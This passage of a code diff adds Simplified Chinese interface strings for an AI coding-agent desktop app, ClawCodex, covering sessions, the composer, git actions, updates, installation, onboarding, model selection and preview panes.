+      convertBranch: '转换分支…',
+      convertBranchTitle: '转换分支',
+      convertBranchDesc: '打开已检出的分支，或为可用分支创建工作树。',
+      convertBranchPlaceholder: '搜索分支…',
+      convertBranchInstead: '转换现有分支',
+      branchOpenExisting: '打开',
+      branchSwitchHome: '切回主检出',
+      branchCreateWorktree: '新工作树',
+      branchTrackRemote: '跟踪远程',
+      branchesLoading: '正在加载分支…',
+      noBranches: '未找到分支',
+      removeWorktree: '移除工作树',
+      removeWorktreeFailed: '无法移除工作树（存在未提交更改？）',
+      removeWorktreeConfirm:
+        '从 git 中移除（删除工作树目录，但保留分支），或仅从侧边栏隐藏该泳道并将工作树保留在磁盘上。',
+      removeWorktreeDirty: '此工作树有未提交的更改。强制移除（丢弃这些更改），或仅隐藏泳道并保留在磁盘上。',
+      forceRemove: '强制移除',
+      enter: label => `打开 ${label}`,
+      reorder: label => `重新排序 ${label}`,
+      toggle: (label, open) => `${open ? '展开' : '收起'} ${label} 会话`,
+      back: '全部项目'
+    },
+    newSessionIn: label => `在 ${label} 中新建会话`,
+    showMoreIn: (count, label) => `在 ${label} 中再显示 ${count} 个`,
+    loading: '加载中…',
+    loadMore: '加载更多',
+    loadCount: step => `再加载 ${step} 个`,
+    row: {
+      pin: '置顶',
+      unpin: '取消置顶',
+      copyId: '复制 ID',
+      export: '导出',
+      branchFrom: '分支',
+      rename: '重命名',
+      archive: '归档',
+      newWindow: '新窗口',
+      hideTabBar: '隐藏标签栏',
+      openInNewTab: '在新标签页中打开',
+      openInSplit: '在分屏中打开',
+      copyIdFailed: '无法复制会话 ID',
+
+      sessionActions: '会话操作',
+      sessionRunning: '会话运行中',
+      needsInput: '需要你输入',
+      waitingForAnswer: '正在等待你的回答',
+      finishedUnread: '已完成 — 未读',
+      backgroundRunning: '后台任务运行中',
+      handoffOrigin: platform => `从 ${platform} 转接`,
+      ownedByProfile: profile => `配置档：${profile}`,
+      renamed: '已重命名',
+      renameFailed: '重命名失败',
+      renameTitle: '重命名会话',
+      renameDesc: '留空则清除。',
+      untitledPlaceholder: '无标题会话',
+      untitledChat: id => `会话 ${id}`,
+      ageNow: '刚刚',
+      ageDay: '天',
+      ageHour: '时',
+      ageMin: '分'
+    },
+    dateDivider: {
+      today: '今天早些时候',
+      yesterday: '昨天',
+      thisWeek: '本周',
+      lastWeek: '上周',
+      thisMonth: '本月'
+    }
+  },
+
+  composer: {
+    message: '消息',
+    wakingProfile: profile => `正在唤醒 ${profile}…`,
+    placeholderStarting: '正在启动 ClawCodex…',
+    placeholderReconnecting: '正在重新连接 ClawCodex…',
+    placeholderFollowUp: '发送后续消息',
+    newSessionPlaceholders: [
+      '我们要构建什么？',
+      '给 ClawCodex 一个任务',
+      '你在想什么？',
+      '描述你需要什么',
+      '我们该处理什么？',
+      '随便问点什么',
+      '从一个目标开始'
+    ],
+    followUpPlaceholders: [
+      '发送后续消息',
+      '补充更多上下文',
+      '细化这个请求',
+      '下一步是什么？',
+      '继续推进',
+      '再深入一点',
+      '调整或继续'
+    ],
+    startVoice: '开始语音对话',
+    openDirective: '打开',
+    queueMessage: '排队消息',
+    steer: '引导当前运行',
+    stop: '停止',
+    send: '发送',
+    speaking: '讲话中',
+    transcribing: '转写中',
+    thinking: '思考中',
+    muted: '已静音',
+    listening: '聆听中',
+    muteMic: '麦克风静音',
+    unmuteMic: '取消麦克风静音',
+    stopListening: '停止聆听并发送',
+    stopShort: '停止',
+    endConversation: '结束语音对话',
+    endShort: '结束',
+    stopDictation: '停止听写',
+    transcribingDictation: '正在转写听写',
+    voiceDictation: '语音听写',
+    speakReplies: '朗读回复',
+    stopSpeakingReplies: '停止朗读回复',
+    wakeWordListening: phrase => `唤醒词:"${phrase}" — 正在监听`,
+    wakeWordOff: phrase => `唤醒词:"${phrase}" — 已关闭`,
+    wakeWordPausedVoice: phrase => `唤醒词:"${phrase}" — 语音对话期间暂停`,
+    lookupLoading: '查找中…',
+    lookupNoMatches: '没有匹配项。',
+    lookupTry: '试试',
+    lookupOr: '或',
+    commonCommands: '常用命令',
+    hotkeys: '快捷键',
+    helpFooter: '打开完整面板 · 退格键关闭',
+    commandDescs: {
+      '/help': '命令与快捷键的完整列表',
+      '/clear': '开始新会话',
+      '/resume': '恢复之前的会话',
+      '/details': '控制对话记录的详细程度',
+      '/copy': '复制所选内容或最后一条助手消息',
+      '/quit': '退出 clawcodex'
+    },
+    hotkeyDescs: {
+      'composer.mention': '引用文件、文件夹、URL、git',
+      'composer.slash': '斜杠命令面板',
+      'composer.help': '此快速帮助 (删除以关闭)',
+      'composer.sendNewline': '发送 · Shift+Enter 换行',
+      'composer.sendQueued': '发送下一条排队的回合',
+      'keybinds.openPanel': '所有键盘快捷键',
+      'composer.cancel': '关闭弹窗 · 取消运行',
+      'composer.history': '循环弹窗 / 历史'
+    },
+    attachUrlTitle: '附加 URL',
+    attachUrlDesc: 'ClawCodex 将抓取该页面并作为本回合的上下文。',
+    urlPlaceholder: 'https://example.com/post',
+    urlHintPre: '请包含完整 URL，例如 ',
+    attach: '附加',
+    queued: count => `${count} 条排队`,
+    queuedPaused: count => `${count} 条排队 — 已暂停`,
+    attachmentOnly: '仅附件回合',
+    emptyTurn: '空回合',
+    attachments: count => `${count} 个附件`,
+    editingInComposer: '正在输入框中编辑',
+    editingQueuedInComposer: '正在输入框中编辑排队回合',
+    queueEdit: '编辑',
+    queueSendNext: '下一个',
+    queueSend: '发送',
+    queueDelete: '删除',
+    queueResume: '继续',
+    queueResumeTip: '已被停止操作暂停 — 继续发送排队的回合',
+    queueStuckTitle: '排队消息未发送',
+    queueStuckBody: '排队的对话多次发送失败。它仍在队列中，请重试发送。',
+    previewUnavailable: '预览不可用',
+    previewLabel: label => `预览 ${label}`,
+    couldNotPreview: label => `无法预览 ${label}`,
+    removeAttachment: label => `移除 ${label}`,
+    dictating: '听写中',
+    preparingAudio: '正在准备音频',
+    speakingResponse: '正在朗读回复',
+    readingAloud: '朗读中',
+    themeSuggestions: '桌面主题建议',
+    noMatchingThemes: '没有匹配的主题。',
+    themeTryPre: '试试 ',
+    themeTryPost: '。',
+    attachLabel: '附加',
+    files: '文件…',
+    folder: '文件夹…',
+    images: '图片…',
+    pasteImage: '粘贴图片',
+    url: 'URL…',
+    promptSnippets: '提示词片段…',
+    tipPre: '提示：输入 ',
+    tipPost: ' 以内联引用文件。',
+    snippetsTitle: '提示词片段',
+    snippetsDesc: '选择一个起始提示词放入输入框。',
+    dropFiles: '拖放文件以附加',
+    dropSession: '拖放以链接此对话',
+    snippets: {
+      codeReview: {
+        label: '代码审查',
+        description: '审查当前更改是否存在回归、遗漏的边界情况和缺失的测试。',
+        text: '请审查这部分是否存在缺陷、回归和缺失的测试。'
+      },
+      implementationPlan: {
+        label: '实现计划',
+        description: '在动代码之前先勾勒方案，让 diff 保持聚焦。',
+        text: '请在修改代码前制定一个简洁的实现计划。'
+      },
+      explainThis: {
+        label: '解释这段',
+        description: '讲解所选代码的工作方式，并链接到关键文件。',
+        text: '请解释这是如何工作的，并指给我关键文件。'
+      }
+    }
+  },
+
+  statusStack: {
+    agents: '代理',
+    background: count => `${count} 个后台任务`,
+    goalActive: '目标进行中',
+    goalDone: '目标已完成',
+    goalPaused: '目标已暂停',
+    goalWaiting: '目标等待中',
+    subagents: count => `${count} 个子代理`,
+    todos: (done, total) => `任务 ${done}/${total}`,
+    running: '运行中',
+    stop: '停止',
+    dismiss: '关闭',
+    exit: code => `退出码 ${code}`,
+    coding: {
+      title: '工作区',
+      noBranch: '无分支',
+      detached: '分离头指针',
+      clean: '干净',
+      changed: count => `${count} 处更改`,
+      ahead: count => `领先 ${count}`,
+      behind: count => `落后 ${count}`,
+      review: '审查',
+      close: '关闭',
+      openChanges: '打开更改',
+      openFile: '打开文件',
+      stage: '暂存',
+      unstage: '取消暂存',
+      stageAll: '全部暂存',
+      viewAsTree: '树状视图',
+      viewAsList: '列表视图',
+      revert: '还原',
+      revertAll: '全部还原',
+      revertConfirm: '放弃对此文件的更改并将其恢复到已提交状态？此操作无法撤销。',
+      revertAllConfirm: '放弃所有更改并将文件恢复到已提交状态？此操作无法撤销。',
+      staged: '已暂存',
+      noChanges: '没有更改',
+      notRepo: '不是 Git 仓库',
+      noDiff: '没有可显示的差异',
+      scopeUncommitted: '未提交',
+      scopeBranch: '分支',
+      scopeLastTurn: '上一轮',
+      commit: '提交',
+      commitAndPush: '提交并推送',
+      commitPlaceholder: '信息（⌘↵ 提交）',
+      generateCommitMessage: '生成提交信息',
+      stopGenerating: '停止生成',
+      createPr: '创建 PR',
+      openPr: '打开 PR',
+      ghMissing: '安装 GitHub CLI (gh) 并登录后可打开 PR',
+      agentShip: '让 ClawCodex 提交并开 PR',
+      agentShipPrompt: '检查当前更改，使用清晰的约定式提交信息提交，推送分支，并开启一个拉取请求。',
+      newBranch: '新建分支',
+      branchOffFrom: base => `从 ${base} 新建分支`,
+      switchTo: branch => `切换到 ${branch}`,
+      switchFailed: branch => `无法切换到 ${branch}`,
+      worktrees: '工作树'
+    }
+  },
+
+  updates: {
+    stages: {
+      idle: '准备中…',
+      prepare: '准备中…',
+      fetch: '下载中…',
+      pull: '马上完成…',
+      pydeps: '收尾中…',
+      update: '正在更新 ClawCodex…',
+      rebuild: '正在重新构建桌面应用…',
+      restart: '正在重启 ClawCodex…',
+      done: '更新完成',
+      manual: '从终端更新',
+      guiSkew: '请更新桌面应用',
+      error: '更新已暂停'
+    },
+    checking: '正在检查更新…',
+    checkFailedTitle: '无法检查更新',
+    tryAgain: '重试',
+    notAvailableTitle: '更新不可用',
+    unsupportedMessage: '此版本的 ClawCodex 无法在应用内自行更新。',
+    connectionRetry: '请检查网络连接后重试。',
+    latestBody: '你正在运行最新版本。',
+    latestBodyBackend: '后端正在运行最新版本。',
+    allSetTitle: '已是最新',
+    availableTitle: '有可用更新',
+    availableBody: '新版 ClawCodex 已可安装。',
+    availableTitleBackend: '后端有可用更新',
+    availableBodyBackend: '已连接的 ClawCodex 后端有新版本可安装。',
+    availableBodyNoChangelog: '已有新版本可用。此安装方式无法显示更新日志。',
+    updateNow: '立即更新',
+    maybeLater: '稍后再说',
+    moreChanges: count => `另有 ${count} 项更改。`,
+    manualTitle: '从终端更新',
+    manualBody: '你是从命令行安装的 ClawCodex，因此更新也需要在那里运行。请将此命令粘贴到终端：',
+    manualPickedUp: '下次启动 ClawCodex 时会使用新版本。',
+    guiSkewTitle: '请更新桌面应用',
+    guiSkewBody:
+      '后端已更新，但此桌面应用包未更改。请更新或重新安装 ClawCodex 桌面应用（你的 AppImage / .deb / .rpm）以保持一致。',
+    copy: '复制',
+    copied: '已复制',
+    done: '完成',
+    applyingBody:
+      'ClawCodex 更新器会在自己的窗口中接管，并在完成后自动重新打开 ClawCodex。更新期间请不要自行重新打开 ClawCodex。',
+    applyingBodyBackend: '远程后端正在应用更新并将重启。恢复后 ClawCodex 会自动重新连接。',
+    applyingClose: '此窗口会在更新期间关闭，随后 ClawCodex 会自动重新打开。',
+    errorTitle: '更新未完成',
+    errorBody: '没有数据丢失。你可以现在重试。',
+    notNow: '暂不',
+    applyStatus: {
+      preparing: '正在更新后端…',
+      pulling: '后端更新中…',
+      restarting: '后端正在重启以加载更新…',
+      notAvailable: '此后端无法更新。',
+      failed: '后端更新失败。',
+      noReturn: '后端未恢复在线。更新可能未完成——请检查后端主机。'
+    }
+  },
+
+  install: {
+    stageStates: {
+      pending: '等待中',
+      running: '安装中',
+      succeeded: '完成',
+      skipped: '已跳过',
+      failed: '失败'
+    },
+    oneTimeTitle: 'ClawCodex 需要一次性安装',
+    unsupportedDesc: platform =>
+      `${platform} 暂不支持自动首次启动安装。请打开终端并运行下面的命令，然后重新启动此应用。之后启动会跳过此步骤。`,
+    installCommand: '安装命令',
+    copyCommand: '复制命令',
+    viewDocs: '查看安装文档',
+    installTo: '将安装到',
+    retryAfterRun: '我已运行 -- 重试',
+    setupChoiceTitle: '设置 ClawCodex Desktop',
+    setupChoiceDesc: '将此应用连接到你已运行的 ClawCodex 网关，或在这台电脑上本地安装 ClawCodex。',
+    connectExistingTitle: '连接到现有 ClawCodex',
+    connectExistingShort: '连接现有环境',
+    connectExistingDesc: '使用会话令牌或浏览器登录连接远程后端。不会启动本地安装。',
+    installLocalTitle: '本地安装 ClawCodex',
+    installLocalDesc: '下载 ClawCodex，创建 Python 环境，并在这台电脑上运行后端。',
+    localStartUnavailable: '无法启动本地安装。请重启 ClawCodex Desktop 后重试。',
+    remoteSetupTitle: '连接到现有 ClawCodex',
+    remoteSetupDesc: '输入网关 URL。ClawCodex Desktop 会检测需要令牌还是浏览器登录。',
+    remoteUrlTitle: '网关 URL',
+    remoteUrlDesc: '使用 ClawCodex 网关的基础 URL；远程地址请包含 https://。',
+    remoteUrlPlaceholder: 'https://gateway.example.com/clawcodex',
+    probing: '正在检测网关认证方式...',
+    probeError: '无法连接到该 ClawCodex 网关。',
+    identityProvider: '你的身份提供方',
+    authTitle: '认证',
+    authNeedsOauth: provider => `测试此网关前请先使用 ${provider} 登录。`,
+    authSignedIn: '浏览器登录已完成。',
+    connected: '已连接',
+    signIn: '登录',
+    signInWith: provider => `使用 ${provider} 登录`,
+    enterUrlFirst: '请先输入网关 URL。',
+    signInIncomplete: '认证完成前登录窗口已关闭。',
+    tokenTitle: '会话令牌',
+    tokenDesc: '粘贴远程网关 .env 文件中的会话令牌。',
+    pasteSessionToken: '粘贴会话令牌',
+    incompleteSignInTest: '测试此受 OAuth 保护的网关前请先登录。',
+    incompleteTokenTest: '测试此网关前请输入会话令牌。',
+    testConnection: '测试连接',
+    testSucceeded: (baseUrl, version) => `已连接到 ${baseUrl}${version ? ` (${version})` : ''}。`,
+    applyRemote: '应用并重新连接',
+    backToSetup: '返回',
+    failedTitle: '安装失败',
+    settingUpTitle: '正在设置 ClawCodex',
+    finishingTitle: '正在收尾',
+    failedDesc:
+      '某个安装步骤失败。在 Windows 上，如果另一个 ClawCodex CLI 或桌面实例正在运行，可能会出现这种情况。请停止正在运行的 ClawCodex 实例后重试。可查看下面的详情或 desktop 日志中的完整记录。',
+    activeDesc: '这是一次性设置。ClawCodex 安装器正在下载依赖并配置你的机器。之后启动会跳过此步骤。',
+    progress: (completed, total) => `${completed}/${total} 个步骤已完成`,
+    currentStage: stage => ` -- 当前：${stage}`,
+    fetchingManifest: '正在获取安装器 manifest...',
+    error: '错误',
+    hideOutput: '隐藏安装器输出',
+    showOutput: '显示安装器输出',
+    lines: count => `${count} 行`,
+    noOutput: '暂无输出。',
+    cancelling: '取消中...',
+    cancelInstall: '取消安装',
+    transcriptSaved: '完整记录已保存到',
+    copiedOutput: '已复制！',
+    copyOutput: '复制输出',
+    reloadRetry: '重新加载并重试'
+  },
+
+  onboarding: {
+    headerTitle: '开始设置 ClawCodex',
+    headerDesc: '连接模型提供方即可开始对话。大多数选项只需一次点击。',
+    preparingInstall: 'ClawCodex 正在完成安装。首次运行通常不到一分钟。',
+    starting: '正在启动 ClawCodex…',
+    lookingUpProviders: '正在查找提供方...',
+    collapse: '收起',
+    otherProviders: '其他提供方',
+    haveApiKey: '我有 API 密钥',
+    chooseLater: '稍后再选择提供方',
+    recommended: '推荐',
+    connected: '已连接',
+    featuredPitch: '一个订阅，300+ 前沿模型 — 运行 ClawCodex 的推荐方式',
+    fireworksPitch: '直接模型 API — Fireworks 托管的前沿模型',
+    openRouterPitch: '一个密钥，数百个模型 — 稳妥的默认选择',
+    apiKeyOptions: {
+      fireworks: { short: '直接模型 API', description: '直接访问 Fireworks AI 托管的模型。' },
+      openrouter: { short: '一个密钥，多个模型', description: '用一个密钥访问数百个模型。适合新安装的默认选择。' },
+      openai: { short: 'GPT 级模型', description: '直接访问 OpenAI 模型。' },
+      gemini: { short: 'Gemini 模型', description: '直接访问 Google Gemini 模型。' },
+      xai: { short: 'Grok 模型', description: '直接访问 xAI Grok 模型。' },
+      local: {
+        short: '自托管',
+        description: '将 ClawCodex 指向本地或自托管的 OpenAI 兼容端点 (vLLM、llama.cpp、Ollama 等)。'
+      }
+    },
+    backToSignIn: '返回登录',
+    getKey: '获取密钥',
+    replaceCurrent: '替换当前值',
+    pasteApiKey: '粘贴 API 密钥',
+    localApiKeyPlaceholder: 'API 密钥（可选 — 仅当端点需要时填写）',
+    couldNotSave: '无法保存凭据。',
+    connecting: '连接中',
+    update: '更新',
+    flowSubtitles: {
+      pkce: '打开浏览器登录，然后回到这里继续',
+      device_code: '在浏览器中打开验证页面 — ClawCodex 会自动连接',
+      external: '先在终端登录一次，然后回来继续对话'
+    },
+    startingSignIn: provider => `正在为 ${provider} 启动登录...`,
+    verifyingCode: provider => `正在通过 ${provider} 验证你的代码...`,
+    connectedProvider: provider => `${provider} 已连接`,
+    connectedPicking: provider => `${provider} 已连接。正在选择默认模型...`,
+    signInFailed: '登录失败，请重试。',
+    pickDifferentProvider: '选择其他提供方',
+    signInWith: provider => `使用 ${provider} 登录`,
+    openedBrowser: provider => `已在浏览器中打开 ${provider}。`,
+    authorizeThere: '请在那里授权 ClawCodex。',
+    copyAuthCode: '复制授权码并粘贴到下面。',
+    pasteAuthCode: '粘贴授权码',
+    reopenAuthPage: '重新打开授权页面',
+    autoBrowser: provider => `已在浏览器中打开 ${provider}。请在那里授权 ClawCodex，连接会自动完成，无需复制或粘贴。`,
+    reopenSignInPage: '重新打开登录页面',
+    waitingAuthorize: '等待你授权...',
+    externalPending: provider => `${provider} 通过自己的 CLI 登录。请在终端运行此命令，然后回来选择“我已登录”：`,
+    signedIn: '我已登录',
+    deviceCodeOpened: provider => `已在浏览器中打开 ${provider}。请在那里输入此代码：`,
+    reopenVerification: '重新打开验证页面',
+    copy: '复制',
+    defaultModel: '默认模型',
+    freeTier: '免费层',
+    pro: 'Pro',
+    free: '免费',
+    price: (input, output) => `${input} 输入 / ${output} 输出每 Mtok`,
+    change: '更改',
+    startChatting: '开始',
+    docs: provider => `${provider} 文档`
+  },
+
+  modelPicker: {
+    title: '切换模型',
+    current: '当前：',
+    unknown: '(未知)',
+    search: '筛选提供方和模型...',
+    noModels: '未找到模型。',
+    addProvider: '添加提供方',
+    loadFailed: '无法加载模型',
+    noAuthenticatedProviders: '没有已认证的提供方。',
+    pro: 'Pro',
+    proNeedsSubscription: 'Pro 模型需要付费 Nous 订阅。',
+    free: '免费',
+    freeTier: '免费层',
+    priceTitle: '每百万 token 的输入/输出价格',
+    wasPrice: '原价'
+  },
+
+  modelVisibility: {
+    title: '模型',
+    search: '搜索模型',
+    noAuthenticatedProviders: '没有已认证的提供方。',
+    addProvider: '添加提供方…'
+  },
+
+  shell: {
+    windowControls: '窗口控件',
+    paneControls: '面板控件',
+    appControls: '应用控件',
+    modelMenu: {
+      search: '搜索模型',
+      noModels: '未找到模型',
+      editModels: '编辑模型…',
+      refreshModels: '刷新模型',
+      fast: '快速'
+    },
+    modelOptions: {
+      noOptions: '此模型没有可用选项',
+      options: '选项',
+      thinking: '思考',
+      fast: '快速',
+      effort: '推理强度',
+      minimal: '最小',
+      low: '低',
+      medium: '中',
+      high: '高',
+      xhigh: '极高',
+      max: '最高',
+      ultra: '超高',
+      updateFailed: '模型选项更新失败',
+      fastFailed: '快速模式更新失败'
+    },
+    gatewayMenu: {
+      gateway: '网关',
+      connected: '已连接',
+      connecting: '连接中',
+      offline: '离线',
+      inferenceReady: '推理已就绪',
+      inferenceNotReady: '推理未就绪',
+      checkingInference: '正在检查推理',
+      disconnected: '已断开',
+      openSystem: '打开系统面板',
+      connection: label => `连接：${label}`,
+      recentActivity: '最近活动',
+      viewAllLogs: '查看全部日志 →',
+      messagingPlatforms: '消息平台'
+    },
+    approvalMode: {
+      title: '审批模式',
+      ariaLabel: mode => `审批模式：${mode}`,
+      manual: '手动',
+      manualDescription: '执行需要审批的操作前询问',
+      smart: '智能',
+      smartDescription: '自动评估操作，并在需要时询问',
+      off: '关闭',
+      offDescription: '不显示审批提示，直接运行'
+    },
+    statusbar: {
+      unknown: '未知',
+      restart: '重启',
+      update: '更新',
+      updateInProgress: '正在更新',
+      commitsBehind: (count, branch) => `落后 ${branch} ${count} 个提交`,
+      desktopVersion: version => `ClawCodex Desktop v${version}`,
+      backendVersion: version => `后端 v${version}`,
+      clientLabel: version => `客户端 v${version}`,
+      connectionSsh: host => `SSH: ${host}`,
+      connectionRemote: host => `远程: ${host}`,
+      connectionCloud: host => `云端: ${host}`,
+      connectionCloudTooltip: host => `ClawCodex Cloud · ${host}`,
+      connectionSshTooltip: host => `SSH · ${host}`,
+      connectionRemoteTooltip: host => `Remote · ${host}`,
+      backendLabel: version => `后端 v${version}`,
+      commit: sha => `提交 ${sha}`,
+      branch: branch => `分支 ${branch}`,
+      closeCommandCenter: '关闭命令中心',
+      openCommandCenter: '打开命令中心',
+      showTerminal: '显示终端',
+      hideTerminal: '隐藏终端',
+      gateway: '网关',
+      gatewayReady: '就绪',
+      gatewayNeedsSetup: '需要设置',
+      gatewayChecking: '检查中',
+      gatewayConnecting: '连接中',
+      gatewayOffline: '离线',
+      gatewayRestarting: '重启中…',
+      gatewayTitle: '网关',
+      customizeTitle: '在状态栏中显示',
+      hideStatusbar: '隐藏状态栏',
+      toggleApprovalMode: '审批',
+      toggleBackendVersion: '后端版本',
+      toggleCommandCenter: '命令中心',
+      toggleContextUsage: '上下文用量',
+      toggleRunningTimer: '回合计时',
+      toggleSessionTimer: '会话计时',
+      toggleTerminal: '终端',
+      toggleVersion: '版本与更新',
+      toggleWorkspace: '工作区',
+      agents: '代理',
+      closeAgents: '关闭代理',
+      openAgents: '打开代理',
+      subagents: count => `${count} 个子代理`,
+      failed: count => `${count} 个失败`,
+      running: count => `${count} 个运行中`,
+      cron: '排程',
+      openCron: '打开排程任务',
+      webhooks: 'Webhook',
+      openWebhooks: '打开 Webhook',
+      starmap: '记忆图谱',
+      openStarmap: '打开记忆图谱',
+      turnRunning: '运行中',
+      contextUsage: '上下文用量',
+      contextUsagePanel: {
+        categories: {
+          conversation: '对话',
+          mcp: 'MCP',
+          memory: '记忆',
+          rules: '规则',
+          skills: '技能',
+          subagent_definitions: '子代理定义',
+          system_prompt: '系统提示词',
+          tool_definitions: '工具定义'
+        },
+        empty: '暂无上下文数据',
+        loading: '正在加载明细…',
+        percentFull: percent => `已用 ${percent}%`,
+        title: '上下文用量',
+        tokenSummary: (used, max) => `${used} / ${max} Tokens`
+      },
+      session: '会话',
+      yoloOn: 'YOLO 已开启 — 自动批准危险命令。Shift+点击可全局切换。',
+      yoloOff: 'YOLO 已关闭。Shift+点击可全局切换。',
+      modelNone: '无',
+      noModel: '无模型',
+      switchModel: '切换模型',
+      openModelPicker: '打开模型选择器',
+      modelPinned: '已由你固定；新对话将使用此模型而非“设置”中的默认模型',
+      modelTitle: (provider, model) => `模型 · ${provider}: ${model}`,
+      providerModelTitle: (provider, model) => `${provider} · ${model}`
+    }
+  },
+
+  rightSidebar: {
+    aria: '右侧边栏',
+    panelsAria: '右侧边栏面板',
+    files: '文件系统',
+    terminal: '终端',
+    noFolderSelected: '未选择文件夹',
+    changeCwdTitle: '更改工作目录',
+    remotePickerTitle: '选择远程文件夹',
+    remotePickerDescription: '浏览已连接后端上的文件夹。',
+    remotePickerSelect: '选择文件夹',
+    folderTip: cwd => cwd,
+    openFolder: '打开文件夹',
+    refreshTree: '刷新文件树',
+    collapseAll: '折叠所有文件夹',
+    previewUnavailable: '预览不可用',
+    couldNotPreview: path => `无法预览 ${path}`,
+    noProjectTitle: '没有项目',
+    noProjectBody: '打开一个项目以浏览文件并查看更改。',
+    noProjectOpen: '未打开项目',
+    noDiffs: '无差异',
+    unreadableTitle: '无法读取',
+    unreadableBody: error => `无法读取此文件夹 (${error})。`,
+    emptyTitle: '空文件夹',
+    emptyBody: '此文件夹为空。',
+    treeErrorTitle: '文件树错误',
+    treeErrorBody: '文件树渲染此文件夹时出错。',
+    tryAgain: '重试',
+    loadingTree: '正在加载文件树',
+    loadingFiles: '正在加载文件',
+    terminalHide: '隐藏终端',
+    terminalsAria: '终端',
+    terminalNew: '新建终端',
+    terminalCloseOthers: '关闭其他',
+    terminalCloseAll: '关闭全部',
+    addToChat: '添加到对话'
+  },
+
+  preview: {
+    tab: '预览',
+    closePane: '关闭预览面板',
+    loading: '正在加载预览',
+    unavailable: '预览不可用',
+    opening: '正在打开...',
+    hide: '隐藏',
+    openPreview: '打开预览',
+    openInBrowser: '在浏览器中打开',
+    linkHint: '⌘/Ctrl+点击在预览面板打开',
+    sourceLineTitle: '点击选择 · shift 点击扩展 · 拖到输入框',
+    source: '源码',
+    renderedPreview: '预览',
+    diff: '差异',
+    unknownSize: '大小未知',
+    binaryTitle: '这看起来像二进制文件',
+    binaryBody: label => `预览 ${label} 可能会显示不可读文本。`,
+    largeTitle: '此文件较大',
+    largeBody: (label, size) => `${label} 大小为 ${size}。ClawCodex 只会显示前 512 KB。`,
+    previewAnyway: '仍然预览',
+    truncated: '显示前 512 KB。',
+    noInlineTitle: '没有内联预览',
+    noInlineBody: mimeType => `${mimeType || '此文件类型'} 仍可作为上下文附件。`,
+    edit: '编辑',
+    editing: '编辑中',
+    unsavedChanges: '未保存的更改',
+    saveFailed: message => `无法保存：${message}`,
+    diskChangedTitle: '文件已在磁盘上更改',
+    diskChangedBody: '此文件自打开以来已更改。用你的版本覆盖，还是放弃你的编辑并重新加载？',
+    overwrite: '覆盖',
+    discardReload: '放弃并重新加载',
+    console: {
+      deselect: '取消选择条目',
+      select: '选择条目',
+      copyFailed: '无法复制控制台输出',
+      copyEntry: '复制此条目',
+      sendEntry: '将此条目发送到对话',
+      messages: count => `${count} 条控制台消息`,
+      resize: '调整预览控制台大小',
+      title: '预览控制台',
+      selected: count => `已选择 ${count} 条`,
+      sendToChat: '发送到对话',
+      copySelected: '复制所选到剪贴板',
+      copyAll: '全部复制到剪贴板',
+      copy: '复制',
+      clear: '清除',
+      empty: '暂无控制台消息。',
+      promptHeader: '预览控制台：',
+      sentTitle: '已发送到对话',
+      sentMessage: count => `已将 ${count} 条日志添加到输入框`
+    },
+    web: {
+      appFailedToBoot: '预览应用启动失败',
+      serverNotFound: '未找到服务器',
+      failedToLoad: '预览加载失败',
+      tryAgain: '重试',
+      restarting: 'ClawCodex 正在重启...',
+      askRestart: '让 ClawCodex 重启服务器',
+      lookingRestart: taskId => `ClawCodex 正在查找要重启的预览服务器 (${taskId})`,
+      restartingTitle: '正在重启预览服务器',
+      restartingMessage: 'ClawCodex 正在后台工作。可在预览控制台查看进度。',
+      startRestartFailed: message => `无法启动服务器重启：${message}`,
+      restartFailed: '服务器重启失败',
+      hideConsole: '隐藏预览控制台',
+      showConsole: '显示预览控制台',
+      hideDevTools: '隐藏预览 DevTools',
+      openDevTools: '打开预览 DevTools',
+      finishedRestarting: message => `ClawCodex 已完成预览服务器重启${message ? `: ${message}` : ''}`,
+      failedRestarting: message => `服务器重启失败：${message}`,
+      unknownError: '未知错误',
+      restartedTitle: '预览服务器已重启',
+      reloadingNow: '正在重新加载预览。',
+      restartFailedTitle: '预览重启失败',
+      restartFailedMessage: 'ClawCodex 无法重启服务器。',
+      stillWorking: 'ClawCodex 仍在工作，但还没有收到重启结果。服务器命令可能正在前台运行。',
+      workspaceReloading: '工作区已变更，正在重新加载预览',
+      fileChanged: url => `文件已变更，正在重新加载预览：${url}`,
+      filesChanged: (count, url) => `${count} 个文件变更，正在重新加载预览：${url}`,
+      watchFailed: message => `无法监听预览文件：${message}`,
+      moduleMimeDescription:
+        '模块脚本使用了错误的 MIME 类型。这通常表示静态文件服务器正在服务 Vite/React 应用，而不是项目开发服务器。',
+      loadFailedConsole: (code, message) => `加载失败${code ? ` (${code})` : ''}: ${message}`,
+      unreachableDescription: '无法访问预览页面。',
+      openTarget: url => `打开 ${url}`,
+      fallbackTitle: '预览'
+    }
+  },
+
+  zones: {
+    showHeader: '显示标题栏',
+    hideHeader: '隐藏标题栏',
+    minimize: '最小化',
+    restore: '还原',
+    closeRunningTitle: '关闭正在运行的标签？',
+    closeRunningBody: '此对话仍在运行（或正在等待你的输入）。关闭标签只会隐藏它——会话将保留进度，可从侧边栏重新打开。',
+    closeRunningConfirm: '关闭标签',
+    reload: '重新加载',
+    closeOthers: '关闭其他',
+    closeToRight: '关闭右侧',
+    closeAll: '全部关闭',
+    newSessionTab: '新建会话标签',
+    pluginDisabled: pluginId => `插件“${pluginId}”已禁用`,
+    pluginDisabledBody: '在 设置 → 插件 中重新启用即可恢复面板。',
+    missingPane: paneId => `缺少面板：${paneId}`,
+    editTitle: '布局',
+    editHint: '选择一个布局，或在区域之间拖动面板。',
+    reset: '重置',
+    templates: '模板',
+    custom: '自定义',
+    newGridLayout: '新建网格布局',
+    saveCurrentAs: '将当前排列保存为模板',
+    nameLayoutPlaceholder: '为布局命名…',
+    deletePreset: name => `删除 ${name}`,
+    zoneEditorTitle: '区域编辑器',
+    editorHintPre: '点击拆分 · ',
+    editorHintPost: ' 翻转分割线 · 拖过多个区域可合并 · 拖动共享边可调整大小',
+    templateColumns: '列',
+    templateRows: '行',
+    templateGrid: '网格',
+    templatePriority: '优先',
+    zoneTag: index => `区域 ${index}`,
+    mergeZones: count => `合并 ${count} 个区域`,
+    customZoneName: count => `自定义 ${count} 区`,
+    layoutNamePlaceholder: fallback => `布局名称（${fallback}）`,
+    saveApply: '保存并应用',
+    notExpressible: '此排列互相咬合（风车形）——暂无法表示为嵌套拆分',
+    zoneCount: count => `${count} 个区域`,
+    tabCount: count => `${count} 个标签页`
+  },
+
+  assistant: {
+    thread: {
+      loadingSession: '正在加载会话',
+      showEarlier: '显示更早的消息',
+      loadingResponse: 'ClawCodex 正在加载回复',
+      resumeWhenBackgroundDone: count =>
